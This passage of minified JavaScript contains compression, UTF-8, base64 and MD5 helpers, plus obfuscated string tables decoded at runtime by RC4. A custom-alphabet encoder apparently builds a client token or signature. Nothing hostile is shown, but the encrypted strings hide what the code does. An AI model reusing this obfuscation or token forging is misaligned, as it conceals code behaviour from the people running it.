= 0; i < s; i++) + 55296 == (64512 & (n = e.charCodeAt(i))) && i + 1 < s && 56320 == (64512 & (r = e.charCodeAt(i + 1))) && (n = 65536 + (n - 55296 << 10) + (r - 56320), + i++), + c += n < 128 ? 1 : n < 2048 ? 2 : n < 65536 ? 3 : 4; + for (t = new a.Buf8(c), + o = 0, + i = 0; o < c; i++) + 55296 == (64512 & (n = e.charCodeAt(i))) && i + 1 < s && 56320 == (64512 & (r = e.charCodeAt(i + 1))) && (n = 65536 + (n - 55296 << 10) + (r - 56320), + i++), + n < 128 ? t[o++] = n : n < 2048 ? (t[o++] = 192 | n >>> 6, + t[o++] = 128 | 63 & n) : n < 65536 ? (t[o++] = 224 | n >>> 12, + t[o++] = 128 | n >>> 6 & 63, + t[o++] = 128 | 63 & n) : (t[o++] = 240 | n >>> 18, + t[o++] = 128 | n >>> 12 & 63, + t[o++] = 128 | n >>> 6 & 63, + t[o++] = 128 | 63 & n); + return t + } + , + t.buf2binstring = function(e) { + return c(e, e.length) + } + , + t.binstring2buf = function(e) { + for (var t = new a.Buf8(e.length), n = 0, r = t.length; n < r; n++) + t[n] = e.charCodeAt(n); + return t + } + , + t.buf2string = function(e, t) { + var n, a, r, i, s = t || e.length, l = new Array(2 * s); + for (a = 0, + n = 0; n < s; ) + if ((r = e[n++]) < 128) + l[a++] = r; + else if ((i = o[r]) > 4) + l[a++] = 65533, + n += i - 1; + else { + for (r &= 2 === i ? 31 : 3 === i ? 15 : 7; i > 1 && n < s; ) + r = r << 6 | 63 & e[n++], + i--; + i > 1 ? l[a++] = 65533 : r < 65536 ? l[a++] = r : (r -= 65536, + l[a++] = 55296 | r >> 10 & 1023, + l[a++] = 56320 | 1023 & r) + } + return c(l, a) + } + , + t.utf8border = function(e, t) { + var n; + for ((t = t || e.length) > e.length && (t = e.length), + n = t - 1; n >= 0 && 128 == (192 & e[n]); ) + n--; + return n < 0 ? t : 0 === n ? t : n + o[e[n]] > t ? n : t + } +return t +}() +var n_15= function() { + this.input = null, + this.next_in = 0, + this.avail_in = 0, + this.total_in = 0, + this.output = null, + this.next_out = 0, + this.avail_out = 0, + this.total_out = 0, + this.msg = """", + this.state = null, + this.data_type = 2, + this.adler = 0 + } +var n_9=function(e){ +var a = n_10 + , r = n_0 + , i = n_14 + , o = n_3 + , s = n_15 + , c = Object.prototype.toString + , l = 0 + , u = -1 + , d = 0 + , p = 8, +t={}; + function h(e) { + if (!(this instanceof h)) + return new h(e); + this.options = r.assign({ + level: u, + method: p, + chunkSize: 16384, + windowBits: 15, + memLevel: 8, + strategy: d, + to: """" + }, e || {}); + var t = this.options; + t.raw && t.windowBits > 0 ? t.windowBits = -t.windowBits : t.gzip && t.windowBits > 0 && t.windowBits < 16 && (t.windowBits += 16), + this.err = 0, + this.msg = """", + this.ended = !1, + this.chunks = [], + this.strm = new s, + this.strm.avail_out = 0; + var n = a.deflateInit2(this.strm, t.level, t.method, t.windowBits, t.memLevel, t.strategy); + if (n !== l) + throw new Error(o[n]); + if (t.header && a.deflateSetHeader(this.strm, t.header), + t.dictionary) { + var f; + if (f = ""string"" == typeof t.dictionary ? i.string2buf(t.dictionary) : ""[object ArrayBuffer]"" === c.call(t.dictionary) ? new Uint8Array(t.dictionary) : t.dictionary, + (n = a.deflateSetDictionary(this.strm, f)) !== l) + throw new Error(o[n]); + this._dict_set = !0 + } + } + function f(e, t) { + var n = new h(t); + if (n.push(e, !0), + n.err) + throw n.msg || o[n.err]; + return n.result + } + h.prototype.push = function(e, t) { + var n, o, s = this.strm, u = this.options.chunkSize; + if (this.ended) + return !1; + o = t === ~~t ? t : !0 === t ? 4 : 0, + ""string"" == typeof e ? s.input = i.string2buf(e) : ""[object ArrayBuffer]"" === c.call(e) ? s.input = new Uint8Array(e) : s.input = e, + s.next_in = 0, + s.avail_in = s.input.length; + do { + if (0 === s.avail_out && (s.output = new r.Buf8(u), + s.next_out = 0, + s.avail_out = u), + 1 !== (n = a.deflate(s, o)) && n !== l) + return this.onEnd(n), + this.ended = !0, + !1; + 0 !== s.avail_out && (0 !== s.avail_in || 4 !== o && 2 !== o) || (""string"" === this.options.to ? this.onData(i.buf2binstring(r.shrinkBuf(s.output, s.next_out))) : this.onData(r.shrinkBuf(s.output, s.next_out))) + } while ((s.avail_in > 0 || 0 === s.avail_out) && 1 !== n);return 4 === o ? (n = a.deflateEnd(this.strm), + this.onEnd(n), + this.ended = !0, + n === l) : 2 !== o || (this.onEnd(l), + s.avail_out = 0, + !0) + } + , + h.prototype.onData = function(e) { + this.chunks.push(e) + } + , + h.prototype.onEnd = function(e) { + e === l && (""string"" === this.options.to ? this.result = this.chunks.join("""") : this.result = r.flattenChunks(this.chunks)), + this.chunks = [], + this.err = e, + this.msg = this.strm.msg + } + , + t.Deflate = h, + t.deflate = f, + t.deflateRaw = function(e, t) { + return (t = t || {}).raw = !0, + f(e, t) + } + , + t.gzip = function(e, t) { + return (t = t || {}).gzip = !0, + f(e, t) + } +return t +} +l = [""w4rDocK9wqRC"", ""wpdhB8OQEA=="", ""V8KFRsOAZw=="", ""VRVuIcKx"", ""AkDDmjnDmg=="", ""w5N8BHPDqjLDscOdwq0="", ""YSHDrW/DrQ=="", ""YXcQwpfCnQ3Ds8Knw5EKPXzCnA=="", ""wp7CmMKbwrvDhA=="", ""NcOMwrrClk4="", ""K8Ogw4zDtcKTw5ZnZMO/w4jCpHLDn33CiShEw58fNsKgNcOe"", ""UmvDj8OBEw=="", ""wpdgSSlv"", ""w5fCr8KuD27Dg2t1wps="", ""woxkHcOZ"", ""N8OFw4bDksKU"", ""YUnDrQPCgcKJw4IZw5I="", ""KcOhwpBd"", ""dMOZUGQsw7Zaw7k="", ""wpxoA8ORFMOuwoQ="", ""w5DCkMKXE3k="", ""JDB4w5nDjMKZWMOs"", ""SsOTRWM4"", ""woTCoMKEwrjDjRTDrMKNKw=="", ""wqrDocO4wptJP8K5wq4="", ""O8K3TMOrw7szFw=="", ""wqnDg8O9wodD"", ""wpZBbsK4wr1AU8KE"", ""byzCpBHChw=="", ""O8OQwqHCtFs="", ""FhcqQz0="", ""w77CqWA="", ""w6BWBVzDsw=="", ""wqDCq3XDkQ=="", ""OjknbDoIw6HCl8K/Gic="", ""CcOzdAM="", ""IMK8VcOz"", ""acKLw4fDgA=="", ""w413D2M="", ""cMOXYHs="", ""TcKbTsOD"", ""wpZmwrnDjA=="", ""wo9pwrPDkw=="", ""EkLDhyA="", ""wozCo8OMWA=="", ""w53CrsOywpQ="", ""wrQpCsOdwrHCmMKZOg7CnxfDpUcYw61Xw5zDmiACwqzDgA=="", ""IjkqYw=="", ""wrtXVxQ="", ""wrttwqbDkcKBwofCh8Kwe8K+w4zClMOCw70SfMOW"", ""VMKURMOc"", ""wotAVMK4"", ""GMO3wrfDnA=="", ""JSxOw5/Dv8KXU8Olw6w="", ""P8Ouw4LDnw=="", ""eFXDqwM="", ""Zi3DrMOf"", ""w4vCr8Owwrp6w6hFGGPCqMO/NgM6"", ""PDknZwkew5DCjsKoFTRlZynDgw=="", ""KMOxwo/CiGU="", ""NjcqfTsIw4rClQ=="", ""w6XCksOCwrfCpg=="", ""esO+w4Y+V8KqBS3DlU8ywo7DpFd4wqE="", ""wq9gMMOnNg=="", ""LMOjw4jDl8KN"", ""IcO2VT/Dpg=="", ""AQ1yw7rDkQ=="", ""w6V0JU3Dmw=="", ""woIDPcObwrc="", ""wrJ7w71nw6ZCwp8mwoBbYHA="", ""RcKtU8OSbg=="", ""wq3CrVnDrcK0"", ""w7bDg8OMYx4="", ""Yy7DvMOmwrQ="", ""F3nDvyPDmg=="", ""wplaFEFa"", ""CTNYw4/Dhg=="", ""ZzjDt8O/wrM="", ""U8ODw6Rpwrk="", ""Iy1hw4zDvA=="", ""w4TCjMKcwpp3"", ""w7bChsKOwrJl"", ""Wzp4OsK2wppv"", ""w53Co8K5wrB+"", ""w43CncOOwoxI"", ""wpPCk8KT"", ""IcO1w7PDjcKe"", ""ejLClS7Cm8OM"", ""dARKPQ=="", ""YVrDoRw="", ""w5PCk8KcbA=="", ""eSnDjEM="", ""w5XDkMOZQA=="", ""AMO0wq7CtA=="", ""w7LDnhHCug=="", ""woLDnyjCmg=="", ""D0bCrHs="", ""woTCs8KIwqc="", ""KMKKSMOiw70="", ""PcK9b8Ozw6g5HMOm"", ""w7HDjx7CuGA="", ""woZGeMKEwrk="", ""woHCvMKYwqTDiwbDoQ=="", ""w57Cr8Oywo4="", ""w4jCuHpqw7U="", ""wopqwqPDqsKP"", ""wo57bMK7wqo="", ""w5PCu8KOX3s="", ""SFfDsRXClg=="", ""DlPCt1td"", ""ScKFwoEaw4w="", ""w5DCgMK1Zk8="", ""wqd+XAd7"", ""bMKtw4bDjMKg"", ""CMOCw5HDu8KR"", ""VUDDjw=="", ""wqzDg8Ksw48="", ""Y3TDgxjCiw=="", ""wo5GesKBwqM="", ""wqHClkzDvMKv"", ""F8OoRRHDhA=="", ""E8O9fgY="", ""dsO8w64zbA=="", ""YiMbw5HCj8KMBcO3wqw="", ""acKzw4vDrcKB"", ""wp1Qw5N+w4g="", ""w5TCuMKzDWTDhUZswpPDsQ=="", ""wpgNG8O8wqo="", ""wrBwwobDt8KH"", ""w47ClMKzT0A="", ""OMO4wpJQwoU="", ""AT/Ckg=="", ""OcKLU8OBw54="", ""cGgZwrfCnBzDj8Kvw4IIMWHCpsKqFh4="", ""w73CmcOawpTCpA=="", ""wrbDj8OMwqdD"", ""asKRwqARw6U="", ""wrnCt3PDkcKtAD5Tw5M="", ""wofDji/CkHvCgcKqUcO3ITAjwos3w5Qf"", ""w4vCocOp"", ""AcOrwrHDnMKGH0TCsDk="", ""VcKbwpkqw6/DjSo3TQ=="", ""Y8OaZnEsw5xVw70Iw7c="", ""aQBaJcK1B8Osw6LCtsKXUA=="", ""G8ODw7LDhcKi"", ""BhQaeRI="", ""eTrDgFzDhRbDiHNJ"", ""wqnDhExgdMKaw4VCVj7DkVrCswgd"", ""UcODVEEy"", ""HsO5w6TDosKj"", ""KMOnQDnDkA=="", ""SMKcw6HDvcKA"", ""w5TCs8KOwpJgwqFo"", ""w5bCu8O8wqZRw7lDGW8="", ""OcK9Sw=="", ""Y1rDrBPCgcKQ"", ""EcOjwqzCtlNFwrkLw5LDhyg="", ""w6PDiRPCuHjCtMKUw63DlQc="", ""w5bCrcOswrBAw6U="", ""AMO6wr/Cqw=="", ""wqfDkMKlw4U="", ""U8OAw7BMwoFwTsKf"", ""DcO7eg3Dj2onf10="", ""ZnQUwrPChg3DhQ=="", ""wqzDjsKpw4YYw7zCsw=="", ""NzQsZTMDw5DCqMK+"", ""UzpwMcKjwoY="", ""wp/CrcOBUFbCsg=="", ""NjBZw6jDn8KTXg=="", ""AcOswq3DgA=="", ""OzYgfA=="", ""K8Ouw5XDlQ=="", ""woUiGMORwrTClMK4LQM="", ""f1rDtB7CicKcw48Gw4U="", ""BsOpwopR"", ""V27DnsOUIA=="", ""w63DrcKEwqdm"", ""woxbUMKuwqpb"", ""SyxwA8K1"", ""wq3DtcKww40c"", ""fivChQ3Crw=="", ""bi9ZIcKy"", ""DkLDijHDmWDChMOjZw=="", ""w53ChMO5wrNX"", ""wqtVSg17"", ""ccKDw6bDrMKC"", ""WgXCgQjCjg=="", ""w5fDpsKbwrtc"", ""wpdLTA9s"", ""w5HCr0pRw4c="", ""woTCosK5wpzDmg=="", ""w6zCmMKtEGU="", ""wpvCncKKwq7Dtw=="", ""JMO9wopcwoN+w6sww6NMBg=="", ""w7nChsOSwpTCiw=="", ""wqbCin3Dh8KX"", ""w4zCh8KLYn9tEsKVZVk="", ""Hx4AfBQ="", ""VsKjw73DvsKk"", ""H8OgwrnCuk1FwrkLw5LDhyg="", ""wo1bScKpwr1+VMKHw5LCng=="", ""YcOBcFwO"", ""wo1sH8ORJcOlwoDDr8Oow71S"", ""EWbDniPDmQ=="", ""KBVMw4vDjA=="", ""LsOpwrbDicKHH1LCrQ=="", ""OBI5fzA="", ""wrDCqWjDiMKn"", ""wo3Dl8Kmw4UTw7o="", ""VcOlw6NawpM="", ""ecOad307"", ""w5HCrcOywpQ=""]; + t = l, + a = 153, + function(e) { + for (; --e; ) + t.push(t.shift()) + }(++a); + var u = function e(t, n) { + var a = l[t -= 0]; + void 0 === e.XUzMxH && (function() { + var e; + try { + e = Function('return (function() {}.constructor(""return this"")( ));')() + } catch (t) { + e = window + } + e.atob || (e.atob = function(e) { + for (var t, n, a = String(e).replace(/=+$/, """"), r = 0, i = 0, o = """"; n = a.charAt(i++); ~n && (t = r % 4 ? 64 * t + n : n, + r++ % 4) ? o += String.fromCharCode(255 & t >> (-2 * r & 6)) : 0) + n = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="".indexOf(n); + return o + } + ) + }(), + e.dRdvEy = function(e, t) { + for (var n, a = [], r = 0, i = """", o = """", s = 0, c = (e = atob(e)).length; s < c; s++) + o += ""%"" + (""00"" + e.charCodeAt(s).toString(16)).slice(-2); + e = decodeURIComponent(o); + for (var l = 0; l < 256; l++) + a[l] = l; + for (l = 0; l < 256; l++) + r = (r + a[l] + t.charCodeAt(l % t.length)) % 256, + n = a[l], + a[l] = a[r], + a[r] = n; + l = 0, + r = 0; + for (var u = 0; u < e.length; u++) + r = (r + a[l = (l + 1) % 256]) % 256, + n = a[l], + a[l] = a[r], + a[r] = n, + i += String.fromCharCode(e.charCodeAt(u) ^ a[(a[l] + a[r]) % 256]); + return i + } + , + e.pBDTtk = {}, + e.XUzMxH = !0); + var r = e.pBDTtk[t]; + return void 0 === r ? (void 0 === e.ytLIIR && (e.ytLIIR = !0), + a = e.dRdvEy(a, n), + e.pBDTtk[t] = a) : a = r, + a + } + +var s=function(){ +var t, n, a = [""fsOsw4pww5g="", ""w64ewrQjwqzDmcKN"", ""PcKPwo/Ci8KPAA=="", ""TMO6TV12woFgw5E="", ""EGjDjg=="", ""HcO4LsKuI3g="", ""TXfClnIzw6TCq8OZeSHDllfDvcO6w4I2UF/Cqw=="", ""woopbMKow63DkiIeNVQMecKRw6AUw5AXw6Bt"", ""wovCnsO9wpnCpBxEAnB7w6fDjsKQUcKzXMK4woYzA8KGICVJw7ZMw59VdcKGbsO7X8OFwp12F8K7bWtmw7c9w7zDmhXDqzFXwokQIMKeND/DliR6RcKTbBnDsMKD"", ""RhvCgApkw5jCng=="", ""XCvDscOZXXfDvyEB"", ""LcKhwpzDkC7Ckx/CscKHJw=="", ""wpfDoEV/woIT"", ""Z8Ksw7rDmcO6Vw=="", ""wovDsFhw"", ""w5Egw4EJSiLCqcOBwrR6wp3CqMKWG8KBwpRCwqNban1QwpVzw6rDp8KjG3fDsMKcwr/CisKBWy3Cp3HDm8OLQ2Q0wpFmSMOuGlrDscKgw5oWwqnCrgbDr8K9H3FewrheOA==""]; + t = a, + n = 410, + function(e) { + for (; --e; ) + t.push(t.shift()) + }(++n); + var r = function e(t, n) { + var r, i = a[t -= 0]; + void 0 === e.XCyDvT && ((r = function() { + var e; + try { + e = Function('return (function() {}.constructor(""return this"")( ));')() + } catch (t) { + e = window + } + return e + }()).atob || (r.atob = function(e) { + for (var t, n, a = String(e).replace(/=+$/, """"), r = 0, i = 0, o = """"; n = a.charAt(i++); ~n && (t = r % 4 ? 64 * t + n : n, + r++ % 4) ? o += String.fromCharCode(255 & t >> (-2 * r & 6)) : 0) + n = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="".indexOf(n); + return o + } + ), + e.gnKVWC = function(e, t) { + for (var n, a = [], r = 0, i = """", o = """", s = 0, c = (e = atob(e)).length; s < c; s++) + o += ""%"" + (""00"" + e.charCodeAt(s).toString(16)).slice(-2); + e = decodeURIComponent(o); + for (var l = 0; l < 256; l++) + a[l] = l; + for (l = 0; l < 256; l++) + r = (r + a[l] + t.charCodeAt(l % t.length)) % 256, + n = a[l], + a[l] = a[r], + a[r] = n; + l = 0, + r = 0; + for (var u = 0; u < e.length; u++) + r = (r + a[l = (l + 1) % 256]) % 256, + n = a[l], + a[l] = a[r], + a[r] = n, + i += String.fromCharCode(e.charCodeAt(u) ^ a[(a[l] + a[r]) % 256]); + return i + } + , + e.BawHbV = {}, + e.XCyDvT = !0); + var o = e.BawHbV[t]; + return void 0 === o ? (void 0 === e.hdDebs && (e.hdDebs = !0), + i = e.gnKVWC(i, n), + e.BawHbV[t] = i) : i = o, + i + } + , i = r(""0x0"", ""rrVt"") + , o = r(""0x1"", ""%p$t"") + , s = r(""0x2"", ""h62p"") + , c = r(""0x3"", ""bvUg"") + , l = r(""0x4"", ""h62p"") + , u = r(""0x5"", ""Acn)"")[r(""0x6"", ""pDBh"")]("""") + , d = {}; + function p(e) { + return e[r(""0x7"", ""a@!G"")](/[+\/=]/g, function(e) { + return d[e] + }) + } + d[""+""] = ""-"", + d[""/""] = ""_"", + d[""=""] = """"; + var h = {}; + h[r(""0x8"", ""9$$F"")] = function(e) { + for (var t = function(e, t) { + return e < t + }, n = function(e, t) { + return e + t + }, a = function(e, t) { + return e + t + }, r = function(e, t) { + return e + t + }, i = function(e, t) { + return e >>> t + }, o = function(e, t) { + return e & t + }, c = function(e, t) { + return e | t + }, l = function(e, t) { + return e << t + }, d = function(e, t) { + return e >>> t + }, h = function(e, t) { + return e & t + }, f = function(e, t) { + return e | t + }, m = function(e, t) { + return e & t + }, g = function(e, t) { + return e === t + }, v = function(e, t) { + return e + t + }, y = function(e, t) { + return e << t + }, _ = function(e, t) { + return e & t + }, b = void 0, w = void 0, S = void 0, C = """", A = e[s], I = 0, E = function(e, t) { + return e * t + }(function(e, t) { + return e(t) + }(parseInt, function(e, t) { + return e / t + }(A, 3)), 3); t(I, E); ) + b = e[I++], + w = e[I++], + S = e[I++], + C += n(a(r(u[i(b, 2)], u[o(c(l(b, 4), d(w, 4)), 63)]), u[h(f(l(w, 2), d(S, 6)), 63)]), u[m(S, 63)]); + var k = function(e, t) { + return e - t + }(A, E); + return g(k, 1) ? (b = e[I], + C += v(v(u[d(b, 2)], u[m(y(b, 4), 63)]), ""=="")) : g(k, 2) && (b = e[I++], + w = e[I], + C += v(function(e, t) { + return e + t + }(function(e, t) { + return e + t + }(u[d(b, 2)], u[_(f(y(b, 4), function(e, t) { + return e >>> t + }(w, 4)), 63)]), u[_(y(w, 2), 63)]), ""="")), + function(e, t) { + return e(t) + }(p, C) + } + , + h[r(""0x9"", ""mzYq"")] = function(e) { + for (var t = function(e, t) { + return e < t + }, n = function(e, t) { + return e >= t + }, a = function(e, t) { + return e <= t + }, r = function(e, t) { + return e <= t + }, i = function(e, t) { + return e | t + }, u = function(e, t) { + return e & t + }, d = function(e, t) { + return e >> t + }, p = function(e, t) { + return e | t + }, h = function(e, t) { + return e & t + }, f = function(e, t) { + return e >= t + }, m = function(e, t) { + return e <= t + }, g = function(e, t) { + return e | t + }, v = function(e, t) { + return e & t + }, y = function(e, t) { + return e >> t + }, _ = function(e, t) { + return e | t + }, b = function(e, t) { + return e & t + }, w = function(e, t) { + return e < t + }, S = [], C = 0, A = 0; t(A, e[s]); A += 1) { + var I = e[o](A); + n(I, 0) && a(I, 127) ? (S[l](I), + C += 1) : a(128, 80) && r(I, 2047) ? (C += 2, + S[l](i(192, u(31, d(I, 6)))), + S[l](p(128, h(63, I)))) : (f(I, 2048) && r(I, 55295) || f(I, 57344) && m(I, 65535)) && (C += 3, + S[l](p(224, h(15, d(I, 12)))), + S[l](g(128, v(63, y(I, 6)))), + S[l](_(128, b(63, I)))) + } + for (var E = 0; w(E, S[s]); E += 1) + S[E] &= 255; + return function(e, t) { + return e <= t + }(C, 255) ? [0, C][c](S) : [function(e, t) { + return e >> t + }(C, 8), b(C, 255)][c](S) + } + , + h.es = function(e) { + e || (e = """"); + var t = e[i](0, 255) + , n = [] + , a = h.charCode(t).slice(2); + return n[l](a[s]), + n = n[c](a) + } + , + h.en = function(e) { + var t = function(e, t) { + return e !== t + } + , n = function(e, t) { + return e % t + } + , a = function(e, t) { + return e < t + } + , r = function(e, t) { + return e * t + } + , o = function(e, t) { + return e + t + } + , c = function(e, t, n) { + return e(t, n) + }; + e || (e = 0); + var u = function(e, t) { + return e(t) + }(parseInt, e) + , d = []; + !function(e, t) { + return e > t + }(u, 0) ? d[l](1) : d[l](0); + for (var p = Math.abs(u).toString(2).split(""""), h = 0; t(n(p[s], 8), 0); h += 1) + p.unshift(""0""); + p = p.join(""""); + for (var f = Math.ceil(function(e, t) { + return e / t + }(p[s], 8)), m = 0; a(m, f); m += 1) { + var g = p[i](r(m, 8), r(o(m, 1), 8)); + d[l](c(parseInt, g, 2)) + } + var v = d[s]; + return d.unshift(v), + d + } + , + h[r(""0xa"", ""l!6d"")] = function(e) { + for (var t = function(e, t) { + return e < t + }, n = [], a = e.toString(2).split(""""), r = 0; t(a[s], 16); r += 1) + a.unshift(0); + return a = a.join(""""), + n[l](function(e, t, n) { + return e(t, n) + }(parseInt, a[i](0, 8), 2), function(e, t, n) { + return e(t, n) + }(parseInt, a[i](8, 16), 2)), + n + } + , + h[r(""0xb"", ""&S@A"")] = function(e) { + for (var t = { + OTRHQ: r(""0xc"", ""l!6d""), + ManMe: function(e, t) { + return e < t + }, + RuNgp: r(""0xd"", ""l7e1""), + YAVpt: function(e, t) { + return e(t) + }, + tjRdh: function(e, t) { + return e - t + }, + jScTt: function(e, t) { + return e >> t + }, + WSBOs: function(e, t) { + return e + t + }, + iquNq: function(e, t) { + return e + t + }, + TRMwR: function(e, t) { + return e + t + }, + VfVya: function(e, t) { + return e + t + }, + BtbyW: function(e, t) { + return e | t + }, + OVNcH: function(e, t) { + return e << t + }, + xtaIO: function(e, t) { + return e & t + }, + nkTwY: function(e, t) { + return e >> t + }, + NujdN: function(e, t) { + return e - t + }, + YPjfa: function(e, t) { + return e - t + }, + SNTFM: r(""0xe"", ""hW@4""), + MOIzC: function(e, t) { + return e < t + } + }, n = t.OTRHQ.split(""|""), a = 0; ; ) { + switch (n[a++]) { + case ""0"": + i._AAA(""=""); + continue; + case ""1"": + var i = { + ""_BBB"": new Array(4095), + ""_CCC"": -1, + ""_AAA"": function(e) { + this._CCC++, + this._BBB[this._CCC] = e + }, + ""_bY"": function() { + return this._CCC--, + v.zrJTh(this._CCC, 0) && (this._CCC = 0), + this._BBB[this._CCC] + } + }; + continue; + case ""2"": + var c = """"; + continue; + case ""3"": + for (y = 0; t.ManMe(y, e[s]); y = d._bK) + for (var l = t.RuNgp.split(""|""), u = 0; ; ) { + switch (l[u++]) { + case ""0"": + i._CCC -= 3; + continue; + case ""1"": + t.YAVpt(isNaN, i._BBB[t.tjRdh(i._CCC, 1)]) ? m = g = 64 : t.YAVpt(isNaN, i._BBB[i._CCC]) && (g = 64); + continue; + case ""2"": + case ""3"": + i._AAA(d._bf()); + continue; + case ""4"": + h = t.jScTt(i._BBB[t.tjRdh(i._CCC, 2)], 2); + continue; + case ""5"": + c = t.WSBOs(t.iquNq(t.TRMwR(t.VfVya(c, i._BBB[h]), i._BBB[f]), i._BBB[m]), i._BBB[g]); + continue; + case ""6"": + m = t.BtbyW(t.OVNcH(t.xtaIO(i._BBB[t.tjRdh(i._CCC, 1)], 15), 2), t.nkTwY(i._BBB[i._CCC], 6)); + continue; + case ""7"": + i._AAA(d._bf()); + continue; + case ""8"": + g = t.xtaIO(i._BBB[i._CCC], 63); + continue; + case ""9"": + f = t.BtbyW(t.OVNcH(t.xtaIO(i._BBB[t.NujdN(i._CCC, 2)], 3), 4), t.nkTwY(i._BBB[t.YPjfa(i._CCC, 1)], 4)); + continue + } + break + } + continue; + case ""4"": + var d = { + ""_b?"": e, + _bK: 0, + _bf: function() { + return e[o](this._bK++) + } + }; + continue; + case ""5"": + var p = t.SNTFM; + continue; + case ""6"": + return c.replace(/=/g, """"); + case ""7"": + var h, f, m, g; + continue; + case ""8"": + var v = { + zrJTh: function(e, n) { + return t.ManMe(e, n) + } + }; + continue; + case ""9"": + for (var y = 0; t.MOIzC(y, p[s]); y++) + i._AAA(p.charAt(y)); + continue + } + break + } + } +return h +}() +var n_2=function(){ +var n = { + utf8: { + stringToBytes: function(e) { + return n.bin.stringToBytes(unescape(encodeURIComponent(e))) + }, + bytesToString: function(e) { + return decodeURIComponent(escape(n.bin.bytesToString(e))) + } + }, + bin: { + stringToBytes: function(e) { + for (var t = [], n = 0; n < e.length; n++) + t.push(255 & e.charCodeAt(n)); + return t + }, + bytesToString: function(e) { + for (var t = [], n = 0; n < e.length; n++) + t.push(String.fromCharCode(e[n])); + return t.join("""") + } + } + }; + return n +}() +var n_8=function(){ +function n(e) { + return !!e.constructor && ""function"" == typeof e.constructor.isBuffer && e.constructor.isBuffer(e) + } + return function(e) { + return null != e && (n(e) || function(e) { + return ""function"" == typeof e.readFloatLE && ""function"" == typeof e.slice && n(e.slice(0, 0)) + }(e) || !!e._isBuffer) + } +}() +var n_7=function(){ +var n, a; + n = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"", + a = { + rotl: function(e, t) { + return e << t | e >>> 32 - t + }, + rotr: function(e, t) { + return e << 32 - t | e >>> t + }, + endian: function(e) { + if (e.constructor == Number) + return 16711935 & a.rotl(e, 8) | 4278255360 & a.rotl(e, 24); + for (var t = 0; t < e.length; t++) + e[t] = a.endian(e[t]); + return e + }, + randomBytes: function(e) { + for (var t = []; e > 0; e--) + t.push(Math.floor(256 * Math.random())); + return t + }, + bytesToWords: function(e) { + for (var t = [], n = 0, a = 0; n < e.length; n++, + a += 8) + t[a >>> 5] |= e[n] << 24 - a % 32; + return t + }, + wordsToBytes: function(e) { + for (var t = [], n = 0; n < 32 * e.length; n += 8) + t.push(e[n >>> 5] >>> 24 - n % 32 & 255); + return t + }, + bytesToHex: function(e) { + for (var t = [], n = 0; n < e.length; n++) + t.push((e[n] >>> 4).toString(16)), + t.push((15 & e[n]).toString(16)); + return t.join("""") + }, + hexToBytes: function(e) { + for (var t = [], n = 0; n < e.length; n += 2) + t.push(parseInt(e.substr(n, 2), 16)); + return t + }, + bytesToBase64: function(e) { + for (var t = [], a = 0; a < e.length; a += 3) + for (var r = e[a] << 16 | e[a + 1] << 8 | e[a + 2], i = 0; i < 4; i++) + 8 * a + 6 * i <= 8 * e.length ? t.push(n.charAt(r >>> 6 * (3 - i) & 63)) : t.push(""=""); + return t.join("""") + }, + base64ToBytes: function(e) { + e = e.replace(/[^A-Z0-9+\/]/gi, """"); + for (var t = [], a = 0, r = 0; a < e.length; r = ++a % 4) + 0 != r && t.push((n.indexOf(e.charAt(a - 1)) & Math.pow(2, -2 * r + 8) - 1) << 2 * r | n.indexOf(e.charAt(a)) >>> 6 - 2 * r); + return t + } + }; + return a +}() +var n_6=function(){ + + var a, r, i, o, s; + a = n_7, + r = n_2.utf8, + i = n_8, + o = n_2.bin, + (s = function e(t, n) { + t.constructor == String ? t = n && ""binary"" === n.encoding ? o.stringToBytes(t) : r.stringToBytes(t) : i(t) ? t = Array.prototype.slice.call(t, 0) : Array.isArray(t) || (t = t.toString()); + for (var s = a.bytesToWords(t), c = 8 * t.length, l = 1732584193, u = -271733879, d = -1732584194, p = 271733878, h = 0; h < s.length; h++) + s[h] = 16711935 & (s[h] << 8 | s[h] >>> 24) | 4278255360 & (s[h] << 24 | s[h] >>> 8); + s[c >>> 5] |= 128 << c % 32, + s[14 + (c + 64 >>> 9 << 4)] = c; + var f = e._ff + , m = e._gg + , g = e._hh + , v = e._ii; + for (h = 0; h < s.length; h += 16) { + var y = l + , _ = u + , b = d + , w = p; + u = v(u = v(u = v(u = v(u = g(u = g(u = g(u = g(u = m(u = m(u = m(u = m(u = f(u = f(u = f(u = f(u, d = f(d, p = f(p, l = f(l, u, d, p, s[h + 0], 7, -680876936), u, d, s[h + 1], 12, -389564586), l, u, s[h + 2], 17, 606105819), p, l, s[h + 3], 22, -1044525330), d = f(d, p = f(p, l = f(l, u, d, p, s[h + 4], 7, -176418897), u, d, s[h + 5], 12, 1200080426), l, u, s[h + 6], 17, -1473231341), p, l, s[h + 7], 22, -45705983), d = f(d, p = f(p, l = f(l, u, d, p, s[h + 8], 7, 1770035416), u, d, s[h + 9], 12, -1958414417), l, u, s[h + 10], 17, -42063), p, l, s[h + 11], 22, -1990404162), d = f(d, p = f(p, l = f(l, u, d, p, s[h + 12], 7, 1804603682), u, d, s[h + 13], 12, -40341101), l, u, s[h + 14], 17, -1502002290), p, l, s[h + 15], 22, 1236535329), d = m(d, p = m(p, l = m(l, u, d, p, s[h + 1], 5, -165796510), u, d, s[h + 6], 9, -1069501632), l, u, s[h + 11], 14, 643717713), p, l, s[h + 0], 20, -373897302), d = m(d, p = m(p, l = m(l, u, d, p, s[h + 5], 5, -701558691), u, d, s[h + 10], 9, 38016083), l, u, s[h + 15], 14, -660478335), p, l, s[h + 4], 20, -405537848), d = m(d, p = m(p, l = m(l, u, d, p, s[h + 9], 5, 568446438), u, d, s[h + 14], 9, -1019803690), l, u, s[h + 3], 14, -187363961), p, l, s[h + 8], 20, 1163531501), d = m(d, p = m(p, l = m(l, u, d, p, s[h + 13], 5, -1444681467), u, d, s[h + 2], 9, -51403784), l, u, s[h + 7], 14, 1735328473), p, l, s[h + 12], 20, -1926607734), d = g(d, p = g(p, l = g(l, u, d, p, s[h + 5], 4, -378558), u, d, s[h + 8], 11, -2022574463), l, u, s[h + 11], 16, 1839030562), p, l, s[h + 14], 23, -35309556), d = g(d, p = g(p, l = g(l, u, d, p, s[h + 1], 4, -1530992060), u, d, s[h + 4], 11, 1272893353), l, u, s[h + 7], 16, -155497632), p, l, s[h + 10], 23, -1094730640), d = g(d, p = g(p, l = g(l, u, d, 